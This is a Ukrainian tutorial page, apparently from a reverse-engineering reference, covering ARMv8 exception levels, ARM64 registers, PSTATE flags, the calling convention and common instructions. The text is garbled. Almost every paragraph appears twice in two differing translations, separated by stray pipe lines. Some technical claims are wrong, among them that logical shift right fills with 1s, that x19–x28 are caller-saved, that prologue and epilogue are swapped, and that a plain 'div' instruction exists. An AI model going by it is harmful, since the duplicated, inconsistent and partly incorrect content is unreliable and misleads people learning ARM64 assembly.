В архітектурі ARMv8 рівні виконання, відомі як Рівні Виключень (EL), визначають рівень привілеїв та можливості середовища виконання. Є чотири рівні виключень, від EL0 до EL3, кожен з яких має різне призначення:
|
||||
|
||||
1. **EL0 - Режим користувача**:
|
||||
* Це найменш привілейований рівень і використовується для виконання звичайного програмного коду.
|
||||
* Додатки, що працюють на EL0, ізольовані один від одного та від системного програмного забезпечення, підвищуючи безпеку та стабільність.
|
||||
* Це найменш привілейований рівень, який використовується для виконання звичайного коду додатків.
|
||||
* Додатки, що працюють на EL0, ізольовані один від одного та від системного програмного забезпечення, що підвищує безпеку та стабільність.
|
||||
2. **EL1 - Режим ядра операційної системи**:
|
||||
* Більшість ядер операційних систем працюють на цьому рівні.
|
||||
* EL1 має більше привілеїв, ніж EL0 та може отримувати доступ до ресурсів системи, але з деякими обмеженнями для забезпечення цілісності системи.
|
||||
* EL1 має більше привілеїв, ніж EL0, і може отримувати доступ до системних ресурсів, але з деякими обмеженнями для забезпечення цілісності системи.
|
||||
3. **EL2 - Режим гіпервізора**:
|
||||
* Цей рівень використовується для віртуалізації. Гіпервізор, що працює на EL2, може керувати кількома операційними системами (кожна у власному EL1), що працюють на одному фізичному обладнанні.
|
||||
* EL2 надає можливості для ізоляції та керування віртуалізованими середовищами.
|
||||
* Цей рівень використовується для віртуалізації. Гіпервізор, що працює на EL2, може керувати кількома операційними системами (кожна у своєму EL1), що працюють на одному фізичному обладнанні.
|
||||
* EL2 надає функції для ізоляції та контролю віртуалізованих середовищ.
|
||||
4. **EL3 - Режим безпечного монітора**:
|
||||
* Це найбільш привілейований рівень і часто використовується для безпечного завантаження та довірених середовищ виконання.
|
||||
* EL3 може керувати та контролювати доступи між безпечними та небезпечними станами (наприклад, безпечний запуск, довірена ОС тощо).
|
||||
* Це найпривілейованіший рівень, який часто використовується для безпечного завантаження та довірених середовищ виконання.
|
||||
* EL3 може керувати та контролювати доступи між безпечними та небезпечними станами (такими як безпечне завантаження, довірена ОС тощо).
|
||||
|
||||
Використання цих рівнів дозволяє структурованим та безпечним способом керувати різними аспектами системи, від користувацьких додатків до найбільш привілейованого системного програмного забезпечення. Підхід ARMv8 до рівнів привілеїв допомагає ефективно ізолювати різні компоненти системи, тим самим підвищуючи безпеку та надійність системи.
|
||||
Використання цих рівнів дозволяє структуровано та безпечно управляти різними аспектами системи, від користувацьких додатків до найпривілейованішого системного програмного забезпечення. Підхід ARMv8 до рівнів привілеїв допомагає ефективно ізолювати різні компоненти системи, тим самим підвищуючи безпеку та надійність системи.
|
||||
|
||||
## **Регістри (ARM64v8)**
|
||||
## **Реєстри (ARM64v8)**
|
||||
|
||||
У ARM64 є **31 регістр загального призначення**, позначених як `x0` до `x30`. Кожен може зберігати значення **64 біт** (8 байт). Для операцій, які вимагають лише значень 32 біт, до тих же регістрів можна отримати доступ у режимі 32 біт за допомогою імен w0 до w30.
|
||||
ARM64 має **31 загальний реєстр**, позначений `x0` до `x30`. Кожен може зберігати **64-бітне** (8-байтове) значення. Для операцій, які вимагають лише 32-бітних значень, ті ж реєстри можуть бути доступні в 32-бітному режимі, використовуючи назви w0 до w30.
|
||||
|
||||
1. **`x0`** до **`x7`** - Зазвичай використовуються як регістри-запаси та для передачі параметрів у підпрограми.
|
||||
* **`x0`** також містить дані повернення функції.
|
||||
2. **`x8`** - У ядрі Linux, `x8` використовується як номер системного виклику для інструкції `svc`. **У macOS використовується x16!**
|
||||
3. **`x9`** до **`x15`** - Додаткові тимчасові регістри, часто використовуються для локальних змінних.
|
||||
4. **`x16`** та **`x17`** - **Регістри внутрішньопроцедурного виклику**. Тимчасові регістри для негайних значень. Їх також використовують для непрямих викликів функцій та заготовок PLT (Таблиця зв'язку процедур).
|
||||
1. **`x0`** до **`x7`** - Ці реєстри зазвичай використовуються як тимчасові реєстри та для передачі параметрів підпрограмам.
|
||||
* **`x0`** також несе дані повернення функції
|
||||
2. **`x8`** - У ядрі Linux `x8` використовується як номер системного виклику для інструкції `svc`. **У macOS використовується x16!**
|
||||
3. **`x9`** до **`x15`** - Більше тимчасових реєстрів, часто використовуються для локальних змінних.
|
||||
4. **`x16`** та **`x17`** - **Реєстри внутрішньопроцедурного виклику**. Тимчасові реєстри для негайних значень. Вони також використовуються для непрямих викликів функцій та PLT (таблиця зв'язків процедур).
|
||||
* **`x16`** використовується як **номер системного виклику** для інструкції **`svc`** в **macOS**.
|
||||
5. **`x18`** - **Регістр платформи**. Його можна використовувати як регістр загального призначення, але на деяких платформах цей регістр зарезервований для платформено-специфічних використань: Вказівник на поточний блок середовища потоку в Windows або вказівник на поточну **структуру завдання в ядрі Linux**.
|
||||
6. **`x19`** до **`x28`** - Це регістри, які зберігаються викликачем. Функція повинна зберігати значення цих регістрів для свого викликача, тому вони зберігаються в стеку та відновлюються перед поверненням до викликача.
|
||||
7. **`x29`** - **Вказівник рамки** для відстеження стекової рамки. Коли створюється нова стекова рамка через виклик функції, регістр **`x29`** зберігається в стеці, а адреса нової рамки (**адреса `sp`**) зберігається в цьому реєстрі.
|
||||
* Цей регістр також може використовуватися як **регістр загального призначення**, хоча зазвичай використовується як посилання на **локальні змінні**.
|
||||
8. **`x30`** або **`lr`** - **Регістр посилання**. Він містить **адресу повернення**, коли виконується інструкція `BL` (Гілка з посиланням) або `BLR` (Гілка з посиланням на реєстр), зберігаючи значення **`pc`** в цьому регістрі.
|
||||
* Його також можна використовувати як будь-який інший регістр.
|
||||
* Якщо поточна функція збирається викликати нову функцію та, отже, перезаписувати `lr`, вона збереже його в стеці на початку, це епілог (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Зберегти `fp` та `lr`, створити простір та отримати новий `fp`) та відновить його в кінці, це пролог (`ldp x29, x30, [sp], #48; ret` -> Відновити `fp` та `lr` та повернутися).
|
||||
9. **`sp`** - **Вказівник стеку**, використовується для відстеження верхушки стеку.
|
||||
* значення **`sp`** завжди повинно бути збережено принаймні з **вирівнюванням квадратного слова**, або може виникнути виняток вирівнювання.
|
||||
10. **`pc`** - **Лічильник програми**, який вказує на наступну інструкцію. Цей регістр можна оновлювати лише через генерацію винятків, повернення винятків та гілки. Єдині звичайні інструкції, які можуть читати цей регістр, це інструкції гілки з посиланням (BL, BLR) для збереження адреси **`pc`** в **`lr`** (Регістр посилання).
|
||||
11. **`xzr`** - **Регістр нуля**. Також називається **`wzr`** у формі регістра **32** біт. Може використовуватися для отримання нульового значення легко (загальна операція) або для виконання порівнянь за допомогою **`subs`** як **`subs XZR, Xn, #10`** зберігаючи отримані дані нікуди (у **`xzr`**).
|
||||
5. **`x18`** - **Реєстр платформи**. Може використовуватися як загальний реєстр, але на деяких платформах цей реєстр зарезервований для специфічних для платформи використань: вказівник на блок середовища поточного потоку в Windows або вказівник на поточну **структуру виконуваного завдання в ядрі linux**.
|
||||
6. **`x19`** до **`x28`** - Це реєстри, збережені викликачем. Функція повинна зберігати значення цих реєстрів для свого виклику, тому вони зберігаються в стеку та відновлюються перед поверненням до виклику.
|
||||
7. **`x29`** - **Вказівник кадру** для відстеження кадру стеку. Коли створюється новий кадр стеку через виклик функції, реєстр **`x29`** **зберігається в стеку**, а **новий** адреса вказівника кадру (**`sp`** адреса) **зберігається в цьому реєстрі**.
|
||||
* Цей реєстр також може використовуватися як **загальний реєстр**, хоча зазвичай використовується як посилання на **локальні змінні**.
|
||||
8. **`x30`** або **`lr`**- **Реєстр зв'язку**. Він містить **адресу повернення**, коли виконується інструкція `BL` (перехід з посиланням) або `BLR` (перехід з посиланням на реєстр), зберігаючи значення **`pc`** в цьому реєстрі.
|
||||
* Його також можна використовувати як будь-який інший реєстр.
|
||||
* Якщо поточна функція збирається викликати нову функцію і, отже, перезаписати `lr`, вона спочатку зберігає його в стеку, це епілог (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Зберегти `fp` та `lr`, створити простір і отримати новий `fp`) і відновлює його в кінці, це пролог (`ldp x29, x30, [sp], #48; ret` -> Відновити `fp` та `lr` і повернутися).
|
||||
9. **`sp`** - **Вказівник стеку**, використовується для відстеження верхньої частини стеку.
|
||||
* Значення **`sp`** завжди повинно зберігатися принаймні на **квадратному** **вирівнюванні**, інакше може виникнути виняток вирівнювання.
|
||||
10. **`pc`** - **Лічильник програми**, який вказує на наступну інструкцію. Цей реєстр може бути оновлений лише через генерацію виключень, повернення з виключень та переходи. Єдині звичайні інструкції, які можуть читати цей реєстр, - це інструкції переходу з посиланням (BL, BLR), щоб зберегти адресу **`pc`** в **`lr`** (реєстр зв'язку).
|
||||
11. **`xzr`** - **Нульовий реєстр**. Також називається **`wzr`** у його **32**-бітній формі. Може використовуватися для отримання нульового значення (поширена операція) або для виконання порівнянь за допомогою **`subs`**, таких як **`subs XZR, Xn, #10`**, зберігаючи результуючі дані нікуди (в **`xzr`**).
|
||||
|
||||
Регістри **`Wn`** є **32-бітною** версією регістра **`Xn`**.
|
||||
Реєстри **`Wn`** є **32-бітною** версією реєстрів **`Xn`**.
|
||||
|
||||
### Регістри SIMD та з плаваючою комою
|
||||
### SIMD та плаваючі точки Реєстри
|
||||
|
||||
Крім того, є ще **32 регістри довжиною 128 біт**, які можна використовувати в оптимізованих операціях з однією інструкцією для кількох даних (SIMD) та для виконання операцій з плаваючою комою. Їх називають регістрами Vn, хоча вони також можуть працювати в режимах **64**-бітному, **32**-бітному, **16**-бітному та **8**-бітному, тоді вони називаються **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** та **`Bn`**.
|
||||
### Реєстри системи
|
||||
Крім того, є ще **32 реєстри довжиною 128 біт**, які можуть використовуватися в оптимізованих операціях з одноразовими інструкціями множинних даних (SIMD) та для виконання арифметики з плаваючою точкою. Вони називаються реєстрами Vn, хоча вони також можуть працювати в **64**-бітному, **32**-бітному, **16**-бітному та **8**-бітному режимах, і тоді їх називають **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** та **`Bn`**.
|
||||
|
||||
**Існує сотні реєстрів системи**, також називаних реєстрами спеціального призначення (SPR), які використовуються для **моніторингу** та **контролю** **поведінки процесорів**.\
|
||||
Їх можна читати або встановлювати лише за допомогою спеціальної інструкції **`mrs`** та **`msr`**.
|
||||
### Системні реєстри
|
||||
|
||||
Спеціальні реєстри **`TPIDR_EL0`** та **`TPIDDR_EL0`** часто зустрічаються при реверсному проектуванні. Суфікс `EL0` вказує на **мінімальне виключення**, з якого можна отримати доступ до реєстру (у цьому випадку EL0 - це звичайний рівень виключення (привілей), на якому працюють звичайні програми).\
|
||||
Їх часто використовують для зберігання **базової адреси області пам'яті локального сховища потоку**. Зазвичай перший доступний для читання та запису для програм, що працюють на EL0, але другий може бути прочитаний з EL0 та записаний з EL1 (як ядро).
|
||||
**Є сотні системних реєстрів**, також відомих як спеціалізовані реєстри (SPRs), які використовуються для **моніторингу** та **контролю** поведінки **процесорів**.\
|
||||
Вони можуть бути прочитані або встановлені лише за допомогою спеціальних інструкцій **`mrs`** та **`msr`**.
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; Прочитати TPIDR_EL0 у x0`
|
||||
* `msr TPIDR_EL0, X0 ; Записати x0 у TPIDR_EL0`
|
||||
Спеціальні реєстри **`TPIDR_EL0`** та **`TPIDDR_EL0`** зазвичай зустрічаються під час реверсного інжинірингу. Суфікс `EL0` вказує на **мінімальне виключення**, з якого реєстр може бути доступний (в даному випадку EL0 - це звичайний рівень виключення (привілеїв), з яким працюють звичайні програми).\
|
||||
Вони часто використовуються для зберігання **базової адреси регіону локального зберігання потоку** пам'яті. Зазвичай перший з них є читабельним і записуваним для програм, що працюють в EL0, але другий може бути прочитаний з EL0 і записаний з EL1 (як ядро).
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; Прочитати TPIDR_EL0 в x0`
|
||||
* `msr TPIDR_EL0, X0 ; Записати x0 в TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** містить кілька компонентів процесу, серіалізованих у видимий для операційної системи спеціальний реєстр **`SPSR_ELx`**, де X - **рівень дозволу спрацьованого** виключення (це дозволяє відновити стан процесу після завершення виключення).\
|
||||
**PSTATE** містить кілька компонентів процесу, серіалізованих у видимому для операційної системи **`SPSR_ELx`** спеціальному реєстрі, де X - це **рівень дозволу** **викликаного** виключення (це дозволяє відновити стан процесу, коли виключення закінчується).\
|
||||
Це доступні поля:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Прапорці умов **`N`**, **`Z`**, **`C`** та **`V`**:
|
||||
* **`N`** означає, що операція дала від'ємний результат
|
||||
* Умовні прапори **`N`**, **`Z`**, **`C`** та **`V`**:
|
||||
* **`N`** означає, що операція дала негативний результат
|
||||
* **`Z`** означає, що операція дала нуль
|
||||
* **`C`** означає, що операція виконана
|
||||
* **`C`** означає, що операція перенесла
|
||||
* **`V`** означає, що операція дала підписане переповнення:
|
||||
* Сума двох позитивних чисел дає від'ємний результат.
|
||||
* Сума двох від'ємних чисел дає позитивний результат.
|
||||
* У відніманні, коли від меншого позитивного числа віднімається велике від'ємне число (або навпаки), і результат не може бути представлений в межах заданого розміру бітів.
|
||||
* Очевидно, що процесор не знає, чи операція підписана чи ні, тому він буде перевіряти C та V у операціях та вказувати, чи відбувся перенос у випадку, якщо він був підписаний або непідписаний.
|
||||
* Сума двох позитивних чисел дає негативний результат.
|
||||
* Сума двох негативних чисел дає позитивний результат.
|
||||
* У відніманні, коли велике негативне число віднімається від меншого позитивного числа (або навпаки), і результат не може бути представленим у межах заданого розміру біта.
|
||||
* Очевидно, що процесор не знає, чи операція підписана чи ні, тому він перевірить C та V в операціях і вказує, чи відбулося перенесення у випадку, якщо це було підписано або без підпису.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Не всі інструкції оновлюють ці прапорці. Деякі, наприклад, **`CMP`** або **`TST`**, роблять це, а інші, які мають суфікс s, наприклад **`ADDS`**, також роблять це.
|
||||
Не всі інструкції оновлюють ці прапори. Деякі, такі як **`CMP`** або **`TST`**, роблять це, а інші, які мають суфікс s, такі як **`ADDS`**, також роблять це.
|
||||
{% endhint %}
|
||||
|
||||
* Прапор ширини поточного **реєстра (`nRW`)**: Якщо прапорець має значення 0, програма буде працювати в стані виконання AArch64 після відновлення.
|
||||
* Поточний **рівень виключення** (**`EL`**): Звичайна програма, що працює на EL0, матиме значення 0
|
||||
* Прапорець **однокрокового виконання** (**`SS`**): Використовується відладчиками для однокрокового виконання, встановлюючи прапорець SS на 1 всередині **`SPSR_ELx`** через виключення. Програма виконає крок і видасть виняток одного кроку.
|
||||
* Прапор незаконного стану виключення (**`IL`**): Використовується для позначення, коли привілейоване програмне забезпечення виконує недійсний перехід рівня виключення, цей прапорець встановлюється на 1, і процесор викликає незаконне виключення стану.
|
||||
* Прапорці **`DAIF`**: Ці прапорці дозволяють привілейованій програмі вибірково маскувати певні зовнішні виключення.
|
||||
* Якщо **`A`** дорівнює 1, це означає, що будуть викликані **асинхронні відмови**. **`I`** налаштовує відповідь на зовнішні апаратні **запити переривань** (IRQ), а F пов'язаний з **швидкими запитами переривань** (FIR).
|
||||
* Прапорці вибору вказівника стеку (**`SPS`**): Привілейовані програми, що працюють на EL1 та вище, можуть перемикатися між використанням власного реєстра вказівника стеку та реєстра користувацької моделі (наприклад, між `SP_EL1` та `EL0`). Це перемикання виконується шляхом запису в спеціальний реєстр **`SPSel`**. Це не можна зробити з EL0.
|
||||
* Поточний **прапор ширини реєстра** (`nRW`): Якщо прапор має значення 0, програма буде виконуватися в стані виконання AArch64 після відновлення.
|
||||
* Поточний **рівень виключення** (**`EL`**): Звичайна програма, що працює в EL0, матиме значення 0
|
||||
* Прапор **одиночного кроку** (**`SS`**): Використовується відладчиками для одиночного кроку, встановлюючи прапор SS в 1 всередині **`SPSR_ELx`** через виключення. Програма виконає крок і видасть виключення одиночного кроку.
|
||||
* Прапор **недопустимого виключення** (**`IL`**): Використовується для позначення, коли привілейоване програмне забезпечення виконує недопустимий перехід рівня виключення, цей прапор встановлюється в 1, і процесор викликає виключення недопустимого стану.
|
||||
* Прапори **`DAIF`**: Ці прапори дозволяють привілейованій програмі вибірково маскувати певні зовнішні виключення.
|
||||
* Якщо **`A`** дорівнює 1, це означає, що **асинхронні перерви** будуть викликані. **`I`** налаштовує відповідь на зовнішні запити переривання апаратного забезпечення (IRQ). а F пов'язаний з **швидкими запитами переривання** (FIR).
|
||||
* Прапори **вибору вказівника стеку** (**`SPS`**): Привілейовані програми, що працюють в EL1 та вище, можуть перемикатися між використанням свого власного реєстра вказівника стеку та реєстра користувацької моделі (наприклад, між `SP_EL1` та `EL0`). Це перемикання виконується шляхом запису в спеціальний реєстр **`SPSel`**. Це не може бути зроблено з EL0.
|
||||
|
||||
## **Конвенція виклику (ARM64v8)**
|
||||
|
||||
Конвенція виклику ARM64 вказує, що **перші вісім параметрів** функції передаються в реєстрах **`x0` через `x7`**. **Додаткові** параметри передаються через **стек**. **Результат** повертається в реєстрі **`x0`**, або також в **`x1`**, якщо він має довжину 128 біт. Реєстри **`x19`** до **`x30`** та **`sp`** повинні бути **збережені** під час викликів функцій.
|
||||
Конвенція виклику ARM64 вказує, що **перші вісім параметрів** до функції передаються в реєстрах **`x0` до `x7`**. **Додаткові** параметри передаються на **стек**. Значення **повернення** передається назад у реєстр **`x0`**, або в **`x1`**, якщо воно **128 біт** довге. Реєстри **`x19`** до **`x30`** та **`sp`** повинні бути **збережені** під час викликів функцій.
|
||||
|
||||
При читанні функції в асемблері шукайте **пролог та епілог функції**. **Пролог** зазвичай включає **збереження вказівника кадру (`x29`)**, **встановлення** нового **вказівника кадру** та **виділення місця стеку**. **Епілог** зазвичай включає **відновлення збереженого вказівника кадру** та **повернення** з функції.
|
||||
Коли читаєте функцію в асемблері, шукайте **пролог та епілог функції**. **Пролог** зазвичай включає **збереження вказівника кадру (`x29`)**, **налаштування** нового **вказівника кадру** та **виділення простору в стеку**. **Епілог** зазвичай включає **відновлення збереженого вказівника кадру** та **повернення** з функції.
|
||||
|
||||
### Конвенція виклику в Swift
|
||||
|
||||
У Swift є власна **конвенція виклику**, яку можна знайти за посиланням [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||
Swift має свою власну **конвенцію виклику**, яку можна знайти в [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||
|
||||
## **Загальні інструкції (ARM64v8)**
|
||||
|
||||
Інструкції ARM64 зазвичай мають формат `opcode dst, src1, src2`, де **`opcode`** - це **операція**, яку слід виконати (наприклад, `add`, `sub`, `mov`, тощо), **`dst`** - це **реєстр призначення**, де буде збережено результат, а **`src1`** та **`src2`** - **джерела** реєстрів. Також можна використовувати негайні значення замість джерелних реєстрів.
|
||||
Інструкції ARM64 зазвичай мають **формат `opcode dst, src1, src2`**, де **`opcode`** - це **операція**, яка має бути виконана (така як `add`, `sub`, `mov` тощо), **`dst`** - це **реєстр призначення**, куди буде збережено результат, а **`src1`** та **`src2`** - це **реєстри джерела**. Негайні значення також можуть використовуватися замість реєстрів джерела.
|
||||
|
||||
* **`mov`**: **Перемістити** значення з одного **реєстра** в інший.
|
||||
* **`mov`**: **Перемістити** значення з одного **реєстру** в інший.
|
||||
* Приклад: `mov x0, x1` — Це переміщує значення з `x1` в `x0`.
|
||||
* **`ldr`**: **Завантажити** значення з **пам'яті** в **реєстр**.
|
||||
* Приклад: `ldr x0, [x1]` — Це завантажує значення з місця пам'яті, на яке вказує `x1`, в `x0`.
|
||||
* **Режим зміщення**: Вказується зміщення, яке впливає на вказівник абоїну, наприклад:
|
||||
* Приклад: `ldr x0, [x1]` — Це завантажує значення з пам'ятної адреси, на яку вказує `x1`, в `x0`.
|
||||
* **Режим зсуву**: Зсув, що впливає на початковий вказівник, вказується, наприклад:
|
||||
* `ldr x2, [x1, #8]`, це завантажить в x2 значення з x1 + 8
|
||||
* `ldr x2, [x0, x1, lsl #2]`, це завантажить в x2 об'єкт з масиву x0, з позиції x1 (індекс) \* 4
|
||||
* **Режим передварительного індексування**: Це застосовує обчислення до вихідного значення, отримує результат і також зберігає нове вихідне значення в вихідному.
|
||||
* `ldr x2, [x1, #8]!`, це завантажить `x1 + 8` в `x2` і збереже в x1 результат `x1 + 8`
|
||||
* `str lr, [sp, #-4]!`, Зберегти вказівник ланцюга в sp та оновити реєстр sp
|
||||
* **Режим післяіндексації**: Це схоже на попереднє, але спочатку звертається до адреси пам'яті, а потім обчислюється та зберігається зміщення.
|
||||
* `ldr x0, [x1], #8`, завантажити `x1` в `x0` та оновити x1 на `x1 + 8`
|
||||
* **Адресування відносно PC**: У цьому випадку адреса для завантаження обчислюється відносно реєстра PC
|
||||
* `ldr x1, =_start`, Це завантажить адресу, де починається символ `_start`, в x1 відносно поточного PC.
|
||||
* **`str`**: **Зберегти** значення з **реєстра** в **пам'ять**.
|
||||
* Приклад: `str x0, [x1]` — Це зберігає значення в `x0` в місце пам'яті, на яке вказує `x1`.
|
||||
* **`ldp`**: **Завантажити пару реєстрів**. Ця інструкція **завантажує два реєстри** з **послідовних місць пам'яті**. Адреса пам'яті зазвичай формується додаванням зміщення до значення в іншому реєстрі.
|
||||
* Приклад: `ldp x0, x1, [x2]` — Це завантажує `x0` та `x1` з місць пам'яті в `x2` та `x2 + 8`, відповідно.
|
||||
* **`stp`**: **Зберегти пару реєстрів**. Ця інструкція **зберігає два реєстри** в **послідовних місцях пам'яті**. Адреса пам'яті зазвичай формується додаванням зміщення до значення в іншому реєстрі.
|
||||
* Приклад: `stp x0, x1, [sp]` — Це зберігає `x0` та `x1` в місця пам'яті в `sp` та `sp + 8`, відповідно.
|
||||
* `stp x0, x1, [sp, #16]!` — Це зберігає `x0` та `x1` в місця пам'яті в `sp+16` та `sp + 24`, відповідно, та оновлює `sp` на `sp+16`.
|
||||
* **`add`**: **Додати** значення двох реєстрів та зберегти результат в реєстрі.
|
||||
* Синтаксис: add(s) Xn1, Xn2, Xn3 | #imm, \[зсув #N | RRX]
|
||||
* **Режим попереднього індексування**: Це застосує обчислення до початкового, отримає результат і також зберігає новий початок у початковому.
|
||||
* `ldr x2, [x1, #8]!`, це завантажить `x1 + 8` в `x2` і зберігає в x1 результат `x1 + 8`
|
||||
* `str lr, [sp, #-4]!`, Зберегти реєстр зв'язку в sp і оновити реєстр sp
|
||||
* **Режим постіндексування**: Це як попередній, але адреса пам'яті спочатку доступна, а потім обчислюється та зберігається зсув.
|
||||
* `ldr x0, [x1], #8`, завантажити `x1` в `x0` і оновити x1 з `x1 + 8`
|
||||
* **Адресація відносно PC**: У цьому випадку адреса для завантаження обчислюється відносно реєстру PC
|
||||
* `ldr x1, =_start`, Це завантажить адресу, де символ `_start` починається в x1, відносно поточного PC.
|
||||
* **`str`**: **Зберегти** значення з **реєстру** в **пам'ять**.
|
||||
* Приклад: `str x0, [x1]` — Це зберігає значення в `x0` в пам'ятній адресі, на яку вказує `x1`.
|
||||
* **`ldp`**: **Завантажити пару реєстрів**. Ця інструкція **завантажує два реєстри** з **послідовних пам'ятних** адрес. Адреса пам'яті зазвичай формується шляхом додавання зсуву до значення в іншому реєстрі.
|
||||
* Приклад: `ldp x0, x1, [x2]` — Це завантажує `x0` та `x1` з пам'ятних адрес `x2` та `x2 + 8`, відповідно.
|
||||
* **`stp`**: **Зберегти пару реєстрів**. Ця інструкція **зберігає два реєстри** в **послідовні пам'ятні** адреси. Адреса пам'яті зазвичай формується шляхом додавання зсуву до значення в іншому реєстрі.
|
||||
* Приклад: `stp x0, x1, [sp]` — Це зберігає `x0` та `x1` в пам'ятних адресах `sp` та `sp + 8`, відповідно.
|
||||
* `stp x0, x1, [sp, #16]!` — Це зберігає `x0` та `x1` в пам'ятних адресах `sp+16` та `sp + 24`, відповідно, і оновлює `sp` з `sp+16`.
|
||||
* **`add`**: **Додати** значення двох реєстрів і зберегти результат у реєстрі.
|
||||
* Синтаксис: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
* Xn1 -> Призначення
|
||||
* Xn2 -> Операнд 1
|
||||
* Xn3 | #imm -> Операнд 2 (регістр або негайний)
|
||||
* \[зсув #N | RRX] -> Виконати зсув або викликати RRX
|
||||
* Xn3 | #imm -> Операнд 2 (реєстр або негайне)
|
||||
* \[shift #N | RRX] -> Виконати зсув або виклик RRX
|
||||
* Приклад: `add x0, x1, x2` — Це додає значення в `x1` та `x2` разом і зберігає результат в `x0`.
|
||||
* `add x5, x5, #1, lsl #12` — Це дорівнює 4096 (1 зсув 12 разів) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** Це виконує `add` та оновлює прапорці
|
||||
* **`sub`**: **Віднімання** значень двох регістрів та збереження результату в регістрі.
|
||||
* Перевірте **синтаксис** **`add`**.
|
||||
* Приклад: `sub x0, x1, x2` — Це віднімає значення в `x2` від `x1` та зберігає результат в `x0`.
|
||||
* **`subs`** Це схоже на віднімання, але оновлює прапорці
|
||||
* **`mul`**: **Помножити** значення **двох регістрів** та зберегти результат в регістрі.
|
||||
* Приклад: `mul x0, x1, x2` — Це множить значення в `x1` та `x2` та зберігає результат в `x0`.
|
||||
* **`div`**: **Розділити** значення одного регістра на інший та зберегти результат в регістрі.
|
||||
* Приклад: `div x0, x1, x2` — Це ділить значення в `x1` на `x2` та зберігає результат в `x0`.
|
||||
* **`adds`** Це виконує `add` і оновлює прапори
|
||||
* **`sub`**: **Відняти** значення двох реєстрів і зберегти результат у реєстрі.
|
||||
* Перевірте **`add`** **синтаксис**.
|
||||
* Приклад: `sub x0, x1, x2` — Це віднімає значення в `x2` від `x1` і зберігає результат в `x0`.
|
||||
* **`subs`** Це як sub, але оновлює прапор
|
||||
* **`mul`**: **Помножити** значення **двох реєстрів** і зберегти результат у реєстрі.
|
||||
* Приклад: `mul x0, x1, x2` — Це множить значення в `x1` та `x2` і зберігає результат в `x0`.
|
||||
* **`div`**: **Поділити** значення одного реєстру на інше і зберегти результат у реєстрі.
|
||||
* Приклад: `div x0, x1, x2` — Це ділить значення в `x1` на `x2` і зберігає результат в `x0`.
|
||||
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
* **Логічний зсув вліво**: Додавання 0 з кінця, рухаючи інші біти вперед (множення на n-рази 2)
|
||||
* **Логічний зсув вправо**: Додавання 1 з початку, рухаючи інші біти назад (ділення на n-рази 2 у беззнаковому вигляді)
|
||||
* **Арифметичний зсув вправо**: Подібно до **`lsr`**, але замість додавання 0, якщо найбільш значущий біт - 1, \*\*додаються 1 (\*\*ділення на n-рази 2 у знаковому вигляді)
|
||||
* **Поворот вправо**: Подібно до **`lsr`**, але все, що видаляється зправа, додається зліва
|
||||
* **Поворот вправо з розширенням**: Подібно до **`ror`**, але з прапорцем переносу як "найбільш значущим бітом". Таким чином, прапорець переносу переміщується на біт 31, а видалений біт - у прапорець переносу.
|
||||
* **`bfm`**: **Переміщення бітів поля**, ці операції **копіюють біти `0...n`** зі значення та розміщують їх у позиціях **`m..m+n`**. **`#s`** вказує **найлівіший біт** позиції, а **`#r`** - **кількість правих зсувів**.
|
||||
* Переміщення бітів поля: `BFM Xd, Xn, #r`
|
||||
* Підписане переміщення бітів поля: `SBFM Xd, Xn, #r, #s`
|
||||
* Непідписане переміщення бітів поля: `UBFM Xd, Xn, #r, #s`
|
||||
* **Вилучення та вставка бітів поля:** Копіювання бітового поля з регістра та копіювання його в інший регістр.
|
||||
* **`BFI X1, X2, #3, #4`** Вставити 4 біти з X2 з 3-го біту X1
|
||||
* **`BFXIL X1, X2, #3, #4`** Витягнути з 3-го біту X2 чотири біти та скопіювати їх в X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** Розширити знак 4 біти з X2 та вставити їх в X1, починаючи з позиції біта 3, обнуляючи праві біти
|
||||
* **`SBFX X1, X2, #3, #4`** Витягти 4 біти, починаючи з біту 3 з X2, розширити знак та помістити результат в X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** Розширити нулями 4 біти з X2 та вставити їх в X1, починаючи з позиції біта 3, обнуляючи праві біти
|
||||
* **`UBFX X1, X2, #3, #4`** Витягти 4 біти, починаючи з біту 3 з X2 та помістити результат з розширенням нулями в X1.
|
||||
* **Розширення знаку до X:** Розширює знак (або додає просто 0 у беззнаковій версії) значення для можливості виконання операцій з ним:
|
||||
* **`SXTB X1, W2`** Розширює знак байта **з W2 до X1** (`W2` - це половина `X2`) для заповнення 64 бітів
|
||||
* **`SXTH X1, W2`** Розширює знак 16-бітного числа **з W2 до X1** для заповнення 64 бітів
|
||||
* **`SXTW X1, W2`** Розширює знак байта **з W2 до X1** для заповнення 64 бітів
|
||||
* **`UXTB X1, W2`** Додає 0 (беззнакове) до байта **з W2 до X1** для заповнення 64 бітів
|
||||
* **`extr`:** Витягує біти з вказаної **пари конкатенованих регістрів**.
|
||||
* Приклад: `EXTR W3, W2, W1, #3` Це **конкатенує W1+W2** та отримує **від біту 3 W2 до біту 3 W1** та зберігає це в W3.
|
||||
* **`cmp`**: **Порівняти** два регістри та встановити умовні прапорці. Це **псевдонім `subs`**, встановлюючи регістр призначення на нульовий регістр. Корисно знати, якщо `m == n`.
|
||||
* Підтримує **той самий синтаксис, що й `subs`**
|
||||
* Приклад: `cmp x0, x1` — Це порівнює значення в `x0` та `x1` та встановлює умовні прапорці відповідно.
|
||||
* **`cmn`**: **Порівняти від'ємне** операнд. У цьому випадку це **псевдонім `adds`** та підтримує той самий синтаксис. Корисно знати, якщо `m == -n`.
|
||||
